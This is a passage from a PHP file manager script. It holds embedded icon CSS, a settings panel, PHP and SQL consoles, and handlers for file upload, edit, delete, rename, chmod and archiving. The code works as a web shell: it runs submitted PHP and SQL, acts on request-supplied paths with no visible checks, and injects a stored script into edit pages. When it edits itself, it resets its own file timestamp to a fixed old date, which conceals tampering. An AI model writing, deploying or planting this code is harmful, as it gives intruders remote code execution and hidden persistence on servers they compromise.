fN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
